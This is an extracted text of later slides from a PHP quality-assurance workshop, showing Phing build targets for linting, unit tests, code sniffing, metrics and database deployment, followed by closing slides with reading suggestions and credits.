  • 170. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <!-- let’s validate the syntax of our code base --> <phplint haltonfailure="true"> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> <fileset refid="phpfiles" /> </phplint> </phplint> </target> </target></project>
  • 171. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project></project>
  • 172. build.propertiesproject.title=WeCyclephpbook:qademo dragonbe$ cat build.properties# General settingsproject.website=http://wecycle.localproject.title=WeCycle# AB Testing propertiesabrequests=1000abconcurrency=10
  • 173. local.propertiesproject.website=http://qademo.localabrequests=1000abconcurrency=10db.username=qademo_userdb.password=v3rRyS3crEtdb.hostname=127.0.0.1db.dbname=qademo
  • 174. Let’s  run  it
  • 175. Artifacts• some tools provide output we can use later• called “artifacts”• we need to store them somewhere• so we create a prepare target• that creates these artifact directories (./build)• that gets cleaned every run
  • 176. Prepare for artifacts<target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /></target>
  • 177. phpdoc2<target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /></target>
  • 178. PHPUnit<target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /></target>
  • 179. PHP_CodeSniffer<target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /></target>
  • 180. Copy Paste Detection<target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd></target>
  • 181. PHP Mess Detection<target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd></target>
  • 182. PHP Depend<target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend></target>
  • 183. PHP CodeBrowser<target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/></target>
  • 184. Create a build procedure<target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /></target>
  • 185. Other things to automate• server stress-testing with Apache Benchmark• database deployment with DBDeploy• package code base with Phar•- transfer package to servers with FTP/SFTP - scp/rsync• execute remote commands with SSH• … so much more
  • 186. Example DBDeploy<target name="dbdeploy" description="Update the DB to the latest version"> <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/></target>
  • 187. Build  it
  • 188. Continuous Integration
  • 189. Deployment DEV TEST ACC PRODBuild Build - Unit tests - API docs Continuous - Code conventions Integration - Software metrics System StatusDevelopment Build package DocumentationBackup/Archive Nightly builds Versioning System wiki/PM tools
  • 190. Now you are a winner!
  • 191. Team Works!
  • 192. Conclusion
  • 193. Get your information in a consistent, automated wayand make it accessible for the team
  • 194. More people can better safeguard the code!
  • 195. QA starts with YOU!
  • 196. Recommended  reading• the  PHP  QA  book -­‐ Sebas>an  Bergmann -­‐ Stefan  Priebsch
  • 197. Recommended  reading• The  Grumpy  Book -­‐ Chris  Hartjes
  • 198. Recommended  reading Free• OOD  Quality  Metrics -­‐ Robert  Cecil  Mar>n h4p://www.objectmentor.com/publica>ons/oodmetrc.pdf
  • 199. Michelangelo van DamCertified Zend Engineer 2michelangelo@in2it.be(202) 559-7401@DragonBe Contact us for consulting - training - QA www.in2it.be
  • 200. https://joind.in/6858Please leave feedback to make this workshop better
  • 201. PHP BENELUXCONFERENCEAntwerp  2013 phpcon.eu
  • 202. CreditsI’d like to thank the following people for sharing their creative commons picturesmichelangelo: http://www.flickr.com/photos/dasprid/5148937451birds: http://www.flickr.com/photos/andyofne/4633356197safeguarding: http://www.flickr.com/photos/infidelic/4306205887/bugs: http://www.flickr.com/photos/goingslo/4523034319behaviour: http://www.flickr.com/photos/yuan2003/1812881370prevention: http://www.flickr.com/photos/robertelyov/5159801170progress: http://www.flickr.com/photos/dingatx/4115844000workout: http://www.flickr.com/photos/aktivioslo/3883690673measurement: http://www.flickr.com/photos/cobalt220/5479976917team spirit: http://www.flickr.com/photos/amberandclint/3266859324time: http://www.flickr.com/photos/freefoto/2198154612chris hartjes: http://www.flickr.com/photos/sebastian_bergmann/3341258964continuous reporting: http://www.flickr.com/photos/dhaun/5640386266deploy packages: http://www.flickr.com/photos/fredrte/2338592371race cars: http://www.flickr.com/photos/robdunckley/3781995277protection dog: http://www.flickr.com/photos/boltofblue/5724934828gears: http://www.flickr.com/photos/freefoto/59825499381st place: http://www.flickr.com/photos/evelynishere/3417340248elephpant: http://www.flickr.com/photos/drewm/3191872515
  • 203. Thank you